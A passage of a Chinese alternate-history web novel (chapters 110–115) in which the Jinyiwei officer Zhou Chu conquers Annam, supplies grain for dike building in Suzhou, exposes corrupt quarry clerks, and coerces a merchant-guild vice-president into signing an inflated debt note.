《大明:从书童到最强锦衣卫》 第110章 夏言崔文奎的阴招,严嵩的对策 “怎么回事?你确定是大明的军队?” 莫登庸满脸不可置信,他怎么都没想到,这才短短几日,大明军队就兵临城下了?这也太快了,就算是大明的军队在边境线上整装待发,也不可能推进这么快吧? 一时之间,莫登庸感到脊背发寒,他不禁想起了欧阳必进的诡异之处,这明明就是奔着求死来的。 “大人,确实是大明的军队,打着大明的旗帜呢。” 莫登庸面前的官员也是一脸见了鬼的表情道。 “大人,不好了,城破了,大明军队已经杀进来了。” 莫登庸脑子还一片混沌呢,他家的管家满脸惊慌地跑过来道。 “啊?” 莫登庸彻底傻眼了。 黎朝都城远离边境线,平日里守备军都没有多少,满打满算也就一千多人,但大多数都是在摸鱼,非战时,甚至只有上百人在值守。 再加上云瑾率领的玄武军将宝船停靠在岸边之后,只带了一千人左右,星夜奔袭,黎朝的版图是一个长条形的,全都是临海。 即便是没有战马,从距离黎朝国都最近的海岸登陆之后,斩杀海岸的守备军,一路奔袭到国都,也只需要半天左右的时间。 急行军从来都是玄武军的训练项目之一,玄武军每天早上二十里是必须的,隔三差五还会来一个六十里越野。 可以这么说,玄武军和虎贲军在体能上绝对碾压大明的所有军队。 黎朝国都得城墙和大明的城墙相比,无论是高度还是规模都不在一个层次,玄武军从攻城到破城,仅仅用了一刻钟不到。 破城之后,云瑾指挥着虎贲军,一半奔王宫而去,一半直奔莫登庸家,至于莫登庸家的位置,之前欧阳必进使团的那个人,除了负责联系玄武军之外,在黎朝国都得那些天,还暗中绘制了国都的地图。 莫登庸正着急忙慌的想要随便抓点金银细软跑路的时候,玄武军已经冲入了莫府之中,瞬间将莫登庸和莫府的所有人都控制了起来。 莫登庸感觉自己像是在做梦一样,先是还没睡醒就被人闯进家中告知大明军队正在攻城,然后还没等自己反应过来,又有人过来告诉自己城破了? 现在刚来得及穿上衣服,东西都还没怎么收拾,大明的军队就杀进自己家里了? 另外一边,云瑾带着人杀入王宫之中,找到了被软禁的黎椿。 “见过大明上使。” 黎椿是极有眼色的,玄武军之中专门有人负责扛旗,为的就是表明自身立场。 扛旗的不是别人,正是王直。 此时的王直有点恍惚,如果说之前歼灭那些红毛鬼他还能接受,那么现在仅仅用了半天时间,从海岸一路奔袭到安南国都,片刻之间就破城,然后攻入王宫,这让王直有些怀疑,自己是不是还没睡醒。 要知道戏文都不敢这么写啊。 “莫登庸杀了我大明使臣一事,你可知道?” 云瑾看着眼前的黎恭皇,问道。 此时的云瑾已经快十二岁了,这两三个月在海上风吹日晒的,皮肤早已没了往日的白皙,变成了小麦色,眉宇之间的稚嫩更是消失不见,言语之间自有一番气度。 这还是面对黎椿,云瑾已经算是和颜悦色了,如果是面对自己手下的那些士兵,云瑾一个眼神过去他们都哆嗦。 “回禀上使,小王有所耳闻,但小王早已被莫登庸软禁,那莫登庸狼子野心,自小王继位以来,一直没能亲政,这些天更是将小王软禁了。” 黎椿不敢隐瞒,如实回答道。 “还算老实,我且问你,你是想当个平安王爷,还是想去海里喂鱼?” 云瑾看着黎椿,似笑非笑道。 她说这话的时候,眼神之中闪烁着危险的光芒,似乎只要眼前的黎恭皇的回答让她稍不满意,她就会手起刀落。 黎椿听到这话,头皮一紧。 “小王单凭上使和大明上国安排,安南原本就是大明的国土,小王也一直都想带着百姓回归大明,奈何有心无力。” 黎椿很聪明,没有称呼黎朝,而是用了安南这个称呼。 黎朝代表独立,安南代表着的是大明曾经的一处国土。 云瑾听到这话,满意的点了点头。 “你是个聪明人,只要你够安分,我大明会保你一生荣华。” 云瑾原本也没打算杀黎椿,黎椿在,他带着黎朝官员和百姓归附大明,那就是名正言顺,谁都挑不出理来。 倘若把黎椿杀了,将来会埋下无数隐患,黎朝百姓会想着光复黎朝,上下不一心。 原本安南曾经在大明治下有很长一段时期,甚至安南的百姓还可以参加大明的科举,每个省份的科举取仕名额都是固定的,其中以江南省江西省这些大省名额最多。 两广地区以及海南地区就相对少得多,当年安南的科举取仕名额甚至超过了两广地区,可以说在政策上相当照顾了。 当年朱棣将安南纳入大明版图,一直都很稳定,安南的百姓也都认同了大明,自认为大明百姓,偏偏好圣孙朱瞻基登基之后,于宣德初年,重新册封黎世为安南国王,重新恢复了安南的藩属国地位。 一旦成了藩属国,一个个野心家和利益链条也就出现了,特别是安南掌握着整个东南沿海最大的出海口,这其中的龌龊自然而然就多了起来。 如果有黎椿带头归附大明,名正言顺,下面反对的声音就会被降低很多,到时候这些人哪怕想叛乱,也是名不正言不顺。 名正言顺很重要。 苏州府之中,周楚手下的那些工匠经过不断调整配比,终于调配出比较好的水泥配比。 不过这些天,崔文奎等人也不是什么都没干,江南商会的那些商人,将来自昆山的流民全都辞退了,不只是苏州府,甚至是整个江南省,突然多出了数万流民。 流民从来都是封建王朝的不稳定因素,一旦处置不当的话,随时都可能爆发叛乱。 所有人都等着看严嵩的笑话,倘若在他任职期间,苏州府发生叛乱的话,他这个知府算是做到头了,搞不好政治生涯都要跟着完蛋。 但让所有人失望的是,严嵩没有感到丝毫慌乱,直接让人贴出布告,开始大肆招收流民,准备修建堤坝,同时往京城递了一封奏疏,请求朝廷拨款,重新修建堤坝,而不是像往年一样加固。 加固需要的人手并不多,几千人大概就够了。 但重新修建的话,那就是大工程了,这几万流民都能有活干。 崔文奎得知这个消息之后,满脸不屑。 “亏得严嵩都四十多了,居然还如此天真,江南的堤坝哪一年不是修修补补?糊弄糊弄就得了,还想着重新修建?那得多少钱?朝廷会拨这笔款项?” 一旁的夏言也笑了。 “即便是朝廷拨款了,到他严嵩手中,不知道还能剩下多少,我倒要看看,到时候拿不出米给这些流民下锅的时候,严嵩和周楚该如何是好。” 在夏言看来,周楚当锦衣卫是极厉害的,不过一旦涉及到这些问题,未免就太天真了,朝廷的拨款涉及到的流程无比繁琐,涉及到的官员不知道有多少,哪个官员不想过一手油? “本官倒要看看,这周楚该如何处理。” 第111章 震惊的张璁,头皮发麻的严嵩,周楚到底算计了多少步? 夏言和崔文奎的自信不是没有原因的,朝廷的款项一旦拨下来,中间自然会被经手的官员层层盘剥,最后能剩下十之一二就算是不错的了。 这其中涉及到的官员很多,跨度很广,别说周楚只是个锦衣卫百户,即便是千户,想要如此大范围的调查这些官员,也不是一时半会能查清的。 时间,就是这其中最大的问题。 这数万流民就是数万张嘴,每日都等着米下锅呢,等把这笔钱调查明白,就算再快也得几个月的时间。 几个月,汛期都来了,到时候别说这些流民有没有饭吃,堤坝一旦没修好,造成决堤,整个苏州府都会被淹大半,真要是造成这种结果,严嵩难辞其咎。 这一点,崔文奎比谁都清楚,毕竟在地方上,特别是在江南地区当官的经验,他要比夏言丰富的多,这其中的弯弯绕绕,崔文奎无比清楚。 在他看来,无论是严嵩还是周楚,都没有在地方上任职的经历,只有经历过一次,才会明白这其中的问题。 不过一次就够了,只需要一次,崔文奎以及夏言就要让周楚,让朝廷好看。 朝廷不是要整治江南吗?整治吧,他们就是想让皇帝和朝廷看看,这江南不是谁想来整治就能整治的,甚至如果真的造成了叛乱,他们还可以趁机向朝廷施压,将夏言推上内阁首辅的位置,甚至彻底解决周楚,都不是不可能。 朝中的所有事,不外乎都是一些利益交换罢了。 当年的西厂厂公王直多厉害?最后还不是二十多岁就去南直隶养老了? 成化帝真的看不清这其中的道道吗?自然是看的清的,不过是文官们联手对皇帝施压,再加上成化帝作为皇帝,对于在外领兵的王直自然要忌惮一些。 王直的结局,不过是各方利益的交换,以及很多综合因素在一起的结果。 朝堂上的事,从来都不是只考虑某一种单一因素的。 锦衣卫所,严嵩和张璁再次联袂而来,和严嵩的乐观不同,张璁则是满脸忧愁。 “罗山先生因何事如此忧愁?” 周楚看着张璁,笑道。 “周大人,惟中,你们两人没在地方上任职过,不知道这其中的弯弯绕绕,修筑堤坝一事,可不是这么简单的。” 张璁叹了口气道。 “哦?张大人可要好好教一教下官。” 严嵩听到这话,满脸谦卑道。 此时三人都是一个战线的,张璁自然不会藏着掖着,当即将这其中的利害关系说了一遍。 严嵩听完之后,顿时满脸愁容。 “如此说来,修筑堤坝一事难道就无解了?” 张璁摇了摇头。 “那倒也不是,一般这种修筑堤坝之事,地方上的官员威望足够的话,可以组织当地的乡绅纳捐,也是可以解决的,倘若指望朝廷的拨款,这事多半是做不成的。” “不过这江南的乡绅,又岂会拿出一文钱来?这些人和江南商会之间多多少少都有利益往来,更何况到时候就算有了钱,本地的粮商哄抬粮价,或者干脆不卖粮食给你,又该如何?” 张璁每多说一句,严嵩眼里的忧愁就加重一分。 如此看来,想要修筑堤坝,还真是阻力重重。 反倒是周楚,此时依旧是风轻云淡,仿佛在听故事一般,听着张璁的这些话。 张璁和严嵩自然也注意到了周楚的神情,他俩对视了一眼,纷纷看向周楚。 “大人是否已有解决之道?” 严嵩急忙问道。 “我既然让你招募流民,自然是将所有变数都考虑到了,你们随我走一趟码头便知道了。” 周楚说着起身便往外走,严嵩和张璁两人急忙跟上。 周楚、沈炼、林鹿,以及张璁和严嵩,五人骑着马在周楚的带领下直奔苏州府的一个码头而去。 这个码头是官方专用码头,前些日子,周楚更是以严嵩的名义,直接将这个码头暂时弄成了锦衣卫所专用码头。 苏州府的小码头很多,多这一个不多,少这一个不少。 周楚三人还好,严嵩和张璁本就是文人,骑术实在是一般,好在周楚并没有骑太快,即便如此,这两人一路上也快被颠的快散架了。 一般他们这种官员出行,都是坐轿子的,再不济也得是马车,不过此时他们跟着周楚,周楚都是骑着马的,他们如果坐马车,显然不合适。 几人一路直奔码头而去,路上但凡有想要盯梢的,都被暗中跟着的锦衣卫顺手解决了。 码头距离锦衣卫所比较远,众人走了近一个时辰才走到。 刚到码头,张璁和严嵩就看到了码头上停靠着的一艘艘船,船上正有无数力工正在往下扛着麻袋,只是他们不清楚麻袋之中装的是什么。 “两位,随我去看看吧。” 周楚翻身下马,信步向码头旁边的库房走过去。 严嵩和张璁急忙下马跟上。 刚一进入库房,张璁和严嵩就忍不住倒吸了一口凉气,入目之处,一个个装满的麻袋几乎已经摞满了大半个库房,而且摞的高度很高。 要知道码头的库房都是极大的,为的就是存放船上的货物,任何一个码头的货物吞吐量都是很恐怖的,库房小了根本存不下。 周楚打开其中一个麻袋,严嵩瞬间被里面白花花的大米晃晕了双眼。 张璁此时才明白,这库房之中,居然都是粮食,一时之间,脑子也有些宕机了,他从未见过这么多粮食,仅仅是视觉冲击力,就让他和严嵩无比震撼。 “大人,这些粮食是从哪来的?” 严嵩干涩道。 “自然是安南和交趾,主要是安南。” 周楚笑道。 对大明而言,东南亚最珍贵的从来不是香料和木材,而是这些稻米。 东南亚处于热带季风区,具有典型的热带雨林特点,整个东南亚的水稻,基本上都是一年三熟,少数靠北一些的地区,则是一年两熟。 这就导致在东南亚,稻米堆积如山,很多时候甚至都会被放到腐烂。 大部分前往东南亚进行贸易的商人,也不会选择购买廉价的粮食,毕竟对他们而言,东南亚的其他东西,可比这些粮食赚的多得多。 当然,也有一些粮商会去东南亚进货,不过很多都是做着做着就转行了。 毕竟眼看着别人一船香料或者翡翠象牙赚的盆满钵满,他们一船粮食却赚不了太多钱,这种落差不是一般人能接受的。 这也就导致了东南亚的粮食愈发滞销,毕竟对粮商而言,东南亚的粮食进入大明,只会影响米价。 “安南?我大明不是才向安南宣战吗?” 严嵩满脸不解道。 “这是陛下布下的疑兵之计,实际上陛下早就在安南边境隐藏了一支奇兵,正所谓攻敌所未料,如今安南已经是我大明的领土了,不过要过段时间才会对外宣布罢了。” 周楚笑道。 张璁两人听到这话,顿时恍然。 至于周楚说的陛下布下的奇兵,两人听听也就算了,并没有真的信,他们很清楚,这个所谓的奇兵,恐怕和眼前的这位锦衣卫百户脱不开关系。 和张璁相比,严嵩知道的更多,毕竟前往安南的使团为首的正是他的小舅子,严嵩甚至怀疑,针对安南的整个计划,都和周楚脱不开关系。 一想到这里,严嵩就感到头皮发麻,别人都是走一步看一步,眼前这个年轻人是走一步看十步,恐怕早在来苏州府之前,就把这一切都算计好了。 此时,严嵩才明白,自己和眼前这个年轻人之间的差距有多大。 第112章 后知后觉的严嵩,羞愧的严嵩和张璁 至于这些粮食是花钱买的还是抢的,严嵩和张璁都很默契的没问。 如果是花钱买的,这些钱是哪来的? 两个人都是聪明人,自然明白这其中涉及到很多机密,对他们而言,知道这些没什么好处。 反正只要这些粮食能用于修筑堤坝,对严嵩而言就是好事,有了这些粮食,严嵩那颗悬着的心终于放下了。 果然,抱紧周大人的大腿是正确的选择,自己来到苏州府之后做的事很少,很多都是顺势而为,多数难题都被这位锦衣卫百户解决了。 不愧是王阳明口中的治世之才。 严嵩不禁想起了当初王阳明离京之前,两人的最后一次相聚,王阳明满含深意的看着严嵩,说周衡器是治世之才,将来绝非寻常。 那时候周楚还只是个商人,彼时周楚还在藏拙,严嵩虽然看的出来这个年轻人谈吐不一般,见识也远超同龄人,不过对于王阳明的话,还是深感怀疑。 在他看来,无非是王阳明和周楚关系好,才如此夸赞他。 他怎么都没想到,仅仅过了大半年的时间,严嵩再次注意到这个年轻人的时候,他已经一步登天,成为了锦衣卫指挥使。 当时严嵩人都麻了。 不过那时候,严嵩也只是觉得周楚运气好一些,或许皇帝只是看在周楚和陆家的关系,才会让他出任这个锦衣卫指挥使。 虽然严嵩内心清楚,只是这个理由绝对不足以让周楚达到这个位置,但严嵩不愿意承认,毕竟他蹉跎了这么多年,还一事无成,和周楚一比,他是多么的失败。 再后来,周楚在京城大杀四方,终于让严嵩看清楚了这个年轻人的本事,不过那时候严嵩觉得这个年轻人过刚易折,这般不顾一切的折腾,把自己锦衣卫指挥使的位置折腾没了。 如果不是杨慎和皇帝力保,恐怕命都没了。 直到此时,严嵩才真正看清楚周楚的恐怖之处,这个年轻人看似莽撞,实际上在做一件事之前,可能早就谋划好了一切。 这让他不禁想起了杨慎性格的转变,以及皇帝在朝堂之上骂杨慎的那些话。 越想,严嵩越是觉得后怕,得亏自己没有得罪周衡器,否则恐怕死都不知道怎么死的。 “陛下有周大人这种治世能臣辅佐,定能成为我大明的中兴之主。” 张璁不着痕迹的拍了个马屁。 实际上张璁心里想的也是辅佐皇帝,改变大明的现状,这一点倒是和周楚不谋而合。 再加上两人在职位上并不存在冲突,所以基本上很长一段时间里,都会是同一条战线上的,甚至可能一直都是一个战壕的。 周楚听到这话,不置可否的笑了笑。 “两位可曾见识过我大明底层百姓的生活?” 周楚看着严嵩和张璁道。 无论是严嵩还是张璁,出身就决定了他们看不清民间疾苦,严家虽然没落了,但也远不是普通百姓能比的。 张璁更不用说了,少好经学,博学多才,十二三岁就在文坛初露锋芒,这种人又岂会是一般家庭出来的? 大明文人和官员最大的问题便是和底层百姓完全脱钩,看不到底层百姓的艰辛,不只是大明,这是绝大多数封建王朝的通病。 很多朝代的储相人选,都是直接进入翰林院,熬个几年就进入六部任职,然后一路平稳过渡到宰相或者内阁,整个历程和底层百姓毫无关联。 也正是因此,在大多数封建王朝上层眼里,底层百姓不过是一些筹码,诸如唐朝名将郭子仪,在回纥两次相助大唐之后,也默认了让他们在洛阳劫掠屠杀一番。 倘若这些文人和官员眼里看不到底层百姓,即便周楚再怎么努力,也只能改变一时之现状,等到周楚百年之后,便是人死政息。 周楚很清楚自己要走的这条路有多难,别看自己现在一路走来很顺利,但到现在为止,仅仅一个海禁的问题都还没解决,大明存在的问题,又岂止这一个。 张璁和严嵩听到这话,神色都略显惭愧。 “说来惭愧,下官未曾真的体验过。” 严嵩满脸惭愧道。 “下官也是。” 张璁附和道。 “既如此,今日便带两位去体验一下流民的生活。” 周楚说完这话,便离开了库房,翻身上马之后,率先向着西边走去,其余几人纷纷跟上,不知道周楚葫芦里卖的是什么药。 苏州府没有太高的山,最高的海拔也不过三百多米,名曰穹窿山。 制造水泥需要大量的石灰,自然要开山取石,这项工作从几天前边开始了,整个穹窿山有无数流民在配合下,井然有序的在山中取石。 周楚等人很快就来到了穹窿山下。 “今日,我便和两位一起,体验一下我大明底层百姓的生活。” 周楚说完随手将缰绳丢给了身旁的沈炼,进山开始搬石头。 严嵩和张璁对视了一眼,满脸苦笑,他们何曾吃过这种苦,不过没办法,周楚都发话了,哪怕是为了前途,也要硬着头皮去干。 周楚很利索的扛起一块很大的石头,就往山下走。 “你们量力而行,别闪了腰。” 周楚看着严嵩和张璁叮嘱道。 这两位可都是四十多岁的人了,本身也没练过武,更没有干过体力活,骤然干这种活,自然得悠着点。 周楚说完便不再理会两人,继续往山下走去。 周楚带着他俩来体验生活,倒也没指望这两人真的就能体验民间疾苦了。 这只是周楚在为以后做的一种尝试,或许以后该让那些登科的进士们,第一时间不是去翰林院坐班,而是来底层体验生活,如此一来,他们才能真正理解所谓的民间疾苦,而不是从书上看到轻飘飘的几个字,几句话。 只有真正的体会了民间疾苦,才会设身处地的站在百姓的角度考虑事情,而不是张口之乎者也,闭口礼义廉耻。 之乎者也不能修筑堤坝,礼义廉耻也不能带来粮食,这些文官们在政治斗争上一个个都是好手,但在治国方面,一个个又是那么的无能。 严嵩和张璁此时才真正看清楚这些流民过的是什么样的生活,这些流民一个个都扛着一块块看着就很重的石头,有的看着很瘦弱,但扛着的石头却很大,大到严嵩看了都忍不住倒吸一口凉气。 这些人很多连一双正经的鞋子都没有,严嵩和张璁甚至能看到一些人脚上磨出的血泡。 很快,他们两人也感受到了这种痛苦,两人仅仅搬了两三趟,细嫩的手上就起了血泡,疼的两人直呲牙。 沈炼让林鹿帮忙看着马,也上山开始搬石头了,他修行的便是王阳明的知行合一,自然不会眼睁睁的看着。 林鹿也想上山,奈何他要看着众人的马匹,实在是抽不开身。 严嵩和张璁两人的体力实在是不行,每搬一趟,都要休息好一会。 周楚倒也没期望两人多能干,主要是想让他们体验一下。 众人忙碌了一个多时辰,终于到了放饭的时间了。 周楚和严嵩等人来到了打饭的地方,一人领了一大碗白粥和一些萝卜干。 严嵩看着碗里的稀粥,忍不住皱了皱眉头。 不过此时他已经饿极了,暂时先不管这么多了,一顿狼吞虎咽,很快就把碗里的粥和萝卜干吃光了。 “你们的粥怎么这么稀?” 吃饱后的严嵩有了精力,来到负责放饭的小吏旁边问道。 “爱吃不吃,不吃滚蛋,能有吃的就不错了,还挑三拣四的?” 小吏一点都不惯着严嵩,开口怒骂道。 “知府大人不是说了粥不能煮的太稀,还有粥里要放盐,不然怎么能有体力干活?你们这么做难道不怕上面追究下来?” 严嵩此时大概明白周楚为何带他来这里了,看着眼前的小吏痛斥道。 “嘿,还真有不怕死的。” 小吏说完这话,招呼其他人,一群人撸起了袖子,纷纷向严嵩围了过来。 第113章 愤怒的严嵩,张璁的马屁,准备清算张子义的周楚 沈炼和林鹿两人穿的都是常服,甚至还是特意找的麻布衣服,这是昨天周楚特意安排的。 所以这些小吏根本认不出他们的身份,最多也就是觉得严嵩和张璁穿的比普通人好很多。 这种人虽然少,却也不是没有,一般都是家中突逢大变,不得不来干活糊口,一时之间又放不下以前的架子,所以身上的衣服舍不得典当。 用一句话来形容就是拧巴。 很显然这些小吏把严嵩两人当成了这种人。 眼看着一众小吏把严嵩和张璁围了起来,旁边的工人纷纷躲开,生怕被波及。 “端老子的碗,砸老子的锅,不想吃这碗饭,那就不要吃了。” 为首的小吏满脸横肉,脸色阴狠道。 “那你们端的又是谁的碗?现在又在砸谁的锅?” 严嵩什么场面没见过,这种小场面自然不会吓到他,主要是身后的沈炼和林鹿给的他底气。 一众小吏听到这话,脸色都变得很难看。 “兄弟们,好好教训一下这个不知死活的东西。” 为首的小吏大手一挥,一众小吏不再多言,纷纷向严嵩围了过来。 周楚给了沈炼一个眼神,沈炼瞬间会意,将原本用布包着的绣春刀取了出来。 “锦衣卫在此办事,谁敢放肆?” 绣春刀从来都是锦衣卫身份的象征之一,没人敢造假的。 这些小吏能为苏州府衙效力,自然是认识绣春刀的,看到沈炼手中的绣春刀,一个个脸色顿时变了。 “不知大人前来,所为何事?” 刚才还无比倨傲的小吏,此时在沈炼面前,突然变得点头哈腰起来,那模样要多谄媚有多谄媚。 如果说这些胥吏最怕谁的话,那无疑是锦衣卫了,胥吏们一般不怕官员,因为铁打的胥吏,流水的知府,苏州府衙的官员一任又一任,换了又换。 但胥吏一般都是本地的,而且都是子承父业,像之前那些在京城锦衣卫那里训练的新人,大部分都是来自各地,等待继承自己父辈职务的胥吏子孙。 胥吏没有什么前途,也看不到什么希望,无非是混吃等死罢了,所以对每一任地方官,他们或许会敬畏,但谈不上害怕。 但凡能捞钱的机会,他们绝不会错过,自古以来,皆是如此。 不过对锦衣卫,那就完全不同了,不只是敬畏,可以说是发自内心的害怕,毕竟每个胥吏任职之前都要在锦衣卫那里训练。 单单是这层关系,他们就对锦衣卫充满了敬畏之心。 更何况锦衣卫的手段,可比这些官员狠多了,锦衣卫想要办他们,甚至不需要任何理由,不过是底层的胥吏,一旦被锦衣卫抓了,哪怕死在里面,所有人也都会觉得寻常。 毕竟很少有哪个胥吏屁股是真干净的。 “你们真是胆大包天,居然敢对知府大人动手。” 沈炼瞥了一眼众人,冷笑道。 一众小吏听到这话,无不头皮发麻,他们不可置信的看向严嵩,有些不确定沈炼说的是不是这位。 “怎么?你们不是说本官不知死活吗?” 严嵩此时也有了底气,抖了抖衣服上的尘土,说道。 完了。 得到严嵩的确认之后,这些小吏一个个面如死灰,他们此时终于意识到了问题的严重性。 很快,负责采石场的官员得到消息之后,一路小跑来到了众人面前,此时他已经汗流浃背了。 当他看到周楚的时候,心里更是咯噔一下,心说彻底完了。 之前周楚强闯苏州府捉拿他的那些同僚的时候,他可是都看在眼里,现在整个苏州府所有的官员默认的一件事,那便是不能招惹锦衣卫,尤其不能招惹周楚。 现在看这局面,他都感觉眼冒金星,恨不得立刻晕过去。 “张大人,你好大的胆子啊。” 严嵩看着这个官员,满脸冷笑道。 “大人饶命,小人一时糊涂。” 此人恨不得给严嵩跪下,不过他也知道,自己在劫难逃了。 周楚离开的时候,让沈炼和林鹿将这些胥吏和官员全都带回了锦衣卫所,至于采石场后续的事该如何处理,那是严嵩的事。 周楚很清楚,每个人有每个人的职责,自己可以引导严嵩发现这其中的问题,毕竟严嵩没有这方面的经验,但后续的处理,还得严嵩来办。 倘若这点事都办不好,还要严嵩干什么? “大人真是英明神武,慧眼如炬,一眼就看出了这里面的问题。” 张璁跟在周楚身后,拍马屁道。 周楚听到这话,笑了笑,对于张璁的马屁,周楚还是很受用的。 “倒是张大人让我很是意外,据我所知,张大人入仕没多久吧,为何对地方上的事这么清楚?” 周楚一边骑马,一边问道。 “大人有所不知,家父是我们那地方上的一个小官,下官自小跟着耳濡目染,看的多了,自然清楚这其中的问题。” 张璁解释道。 周楚听到这话,顿时恍然。 周楚等人带着这些人回了锦衣卫所,张璁则在半路离开了,毕竟他办公的地方可不是锦衣卫所。 “大人,这些人是?” 陈昭现在已经完全沦为周楚的狗腿子了,他现在认知很明确,周楚交代的事,一定要不折不扣的执行,丝毫不带犹豫的。 “都是些采石场贪墨的胥吏和官员,你安排人手审一下。” 周楚给自己倒了杯茶道。 “下官这就去安排。” 陈昭一听这话,转身就去安排人手了。 “伙房那边还有没有吃的?” 周楚转身看向一旁的锦衣卫道。 “有的,大人,千户大人特意让伙房给大人留着呢。” 这个锦衣卫恭敬道,他说完这话,就去伙房安排人把饭菜端过来了。 周楚和沈炼以及林鹿,都是练武的,本身气血就远超一般人,食量是普通人的两三倍,平日里光是吃肉都要吃很多。 刚才在采石场喝的那点稀粥,连两成饱都不到,此时三人都饥肠辘辘的。 饭菜端上来之后,三人一顿狼吞虎咽,毫无吃相。 吃饱喝足之后,周楚满足的打了个饱嗝,看向了已经回来的陈昭。 “大人有何吩咐。” 陈昭极有眼色道。 “带上些人马,是时候去张副会长家里要账去了。” 周楚咧嘴一笑。 既然江南商会将这些流民放出来,就该考虑后果。 正所谓来而不往非礼也。 第114章 心惊胆战的江南商会副会长,咄咄逼人的锦衣卫百户 张子义得到消息之后,脸色巨变,他怎么都没想到,周楚居然就这么明目张胆的来找他要钱了,要知道他那张欠条可是在周楚的讹诈之下才不得不写下的。 原本张子义以为,这么长时间过去了,周楚应该是把这事忘了,或者看在江南商会的面子上,不敢来要。 他怎么都没想到,这个锦衣卫百户居然如此嚣张,带人来找自己要账来了。 得到消息的张子义急忙骑着马就奔家里去了,他倒是想跑,但他很清楚,自己一旦跑了,他们张家就完了。 更何况他的家产还都在家里,让他放弃家产跑路,还不如直接把钱还了。 “赶紧去通知各位大人。” 张子义对身边的管家说道。 他很清楚,凭借自己别说压制周楚了,能站直了说话都算胆子大。 这位妥妥的活阎王,张子义一想到自己要单独面对他,双腿就有些发软,上次的经历还历历在目。 但他又不得不硬着头皮上,内心只能期望那些官员赶紧赶过来,替自己说说话。 怀着忐忑的心情,张子义一路上感觉像是走在棉花上面,轻飘飘的,这种感觉他已经很多年没有过了。 周楚带了三四百个锦衣卫,将张府里三层外三层团团围住,整个张府之中的人都瑟瑟发抖,不明白到底发生了什么事。 周楚倒也没有急着带人冲进去,而是就这么围着,静等张子义到来。 “周大人,这是怎么说的?怎么好端端的带这么多人干嘛?” 张子义看着坐在马上的周楚,说话的语气都很虚,生怕硬气一点,周楚就拔刀把他砍了。 “张头家,你不会忘了什么事吧?还是在这里跟本官装糊涂?” 周楚居高临下的看着张子义,冷笑道。 周楚这话一出,张子义冷汗都出来了,他没想到周楚会如此直接,一点都不给他转圜的余地。 “哪能忘啊大人,我这不是太忙了吗?心里一直记挂着这件事呢。” 张子义满脸赔笑道。 他此时是万万不敢惹得周楚不开心的,他很清楚,周楚想杀他,不过是顺手的事,理由都不用找,现成的,毕竟上次他带人围攻了锦衣卫所,这件事可大可小,周楚真要拿这个做文章,他是一点办法都没有。 “你可真是贵人事忙,既然你不遵守约定,就不要怪本官不讲情面了,之前是两千万贯,这么久,算算利息,四千万贯很合理吧?” 周楚似笑非笑地看着张子义道。 张子义听到这话,心里差点骂娘,这不是敲竹杠吗? 但此时他毫无办法,心里想着怎么拖着,拖到本地官员带人过来,或许会好一些。 “大人所言,极为在理,极为在理。” 张子义擦了擦脑门子上的汗说道。 此时他不禁想起了当日苏州府衙的惨案,以及知府王瓒家中被灭满门,他是一句硬气的话都不敢说。 周楚自然知道他打的什么主意,又怎么会轻易让他得逞。 “既然如此,张头家签字画押吧。” 周楚说着拿出早已准备好的新的借据,让沈炼转交给了张子义。 张子义没想到周楚会来这么一手,看着手中的借据,一时之间如同便秘了一般,进退两难,签也不是,不签也不是。 如果签了,哪怕一会他们的人来了,说破大天他也得还钱。 要是不签,恐怕根本等不到他们的人来。 张子义从未感觉时间过的这么慢,每一分每一秒对他而言都是煎熬。 “张头家可有什么不满?” 周楚说这话的时候语气突然一重,身后的锦衣卫十分配合的纷纷拔出绣春刀。 张子义看着眼前的阵仗,心里一哆嗦,双腿一软,差点跌倒,被旁边的管家及时扶住了。 “大人,我签。” 张子义从沈炼手中接过印泥,直接在借据上面按上了指印。 周楚接过借据,满意地点了点头。 “既然如此,张头家,那就好好清算一下吧。” 张子义听到这话,急的满头大汗,左看右看,终于看到了几个熟悉的官员带着一群胥吏赶了过来。 “陈千户,你们这是要做什么?” 为首的不是别人,正是江南省巡抚副都御史张钦顺。 崔文奎是江南省的巡抚,官职全称是江南省巡抚都御史,张钦顺则是整个江南省的二把手,正三品的官职。 这件事崔文奎不适合出面,一旦崔文奎出面面对周楚,那就没了转圜的余地,夏言更不会往上凑,这事跟他毫无关系,区区一个副会长,换了也就换了,对他而言没有任何损失。 主要是夏言对周楚有些心有余悸,不敢单独面对周楚,用他的话说,君子不立于危墙之下。 周楚于他而言,又岂止是危墙。 张钦顺知道周楚这个人,却没见过,一时之间不太敢确定谁是周楚,只能拿陈昭说事。 “周大人当面,这里没有本官说话的份。” 陈昭根本不给他说话的机会,直接把话语权引导到了周楚这里。 开玩笑,自己的上级在这里,这话如果接了,岂不是默认自己就是主导之人?陈昭可不会抢了周楚的风头。 “这位是?” 周楚看着眼前的张钦顺,疑惑道。 “本官巡抚副都御史,张钦顺,见过周大人。” 张钦顺象征性的向周楚行了个礼道,言语之间似乎并没有把周楚放在眼里。 毕竟刚一见面就过于谦卑的话,后面基本就不用谈了。 “不知张大人有何指教?” 周楚看着眼前的张钦顺,甚至都没有下马。 张钦顺也被周楚的态度激怒了,不过却也只能忍着,毕竟周围都是锦衣卫,形势比人强。 “周大人带这么多人围着张副会长的府邸,所为何事?” 张钦顺问道。 “本官很好奇,我锦衣卫做事,何时需要向张大人交代了?张大人是不是认不清自己了?敢如此僭越?” 周楚玩味道。 这话一出,张钦顺更是一口气差点没上来,在整个江南省,他还是第一次遇到敢这么和他说话的人。 张钦顺深吸了一口气,缓了缓。 “周大人,这里是苏州府,不是京城,苏州府的锦衣卫也不是北镇抚司,想抓谁就抓谁,凡事都得讲个理吧?” 周楚听到这话,顿时来了精神。 “你要讲理?那好,本官便和你讲理。” 周楚说着拿出两张借据,让沈炼拿到张钦顺面前给他过目。 “张大人,欠债还钱天经地义,难道张大人要以权压人不成?” 周楚此话一出,张钦顺差点忍不住要骂娘。 第115章 抄家!被逼急了的夏言和崔文奎,山雨欲来风满楼! 张子义作为江南商会的副会长,家中仅仅是白银就有一千多万两,铜钱自不必多说,到底有多少,连张子义自己都不是很清楚。 他虽然只是副会长,但拥有的财富远超会长李贤。 李贤是个聪明人,深知做人不能太贪,否则这些钱就不是自己的了,平日里出头的事,更是全都让张子义来,甚至很多时候张子义抢了李贤的风头,他也是丝毫不恼。 李贤很清楚,张子义蹦跶的越欢,下场只会越惨。 作为一个商人,太贪心从来都不是好事,他们赚的钱,不过是替这些官老爷拿着,真正属于他们自己的其实并不多。 这一点,李贤有着清晰地认知,张子义却没有。 实际上别看张子义家的钱财多到令人发指,但却从来都不是他自己一个人的钱,很多官员都默认由他保存,只不过张子义并没有这种自我认知,将这些钱当成了自己的。 却不知他早已是别人眼里的钱袋子。 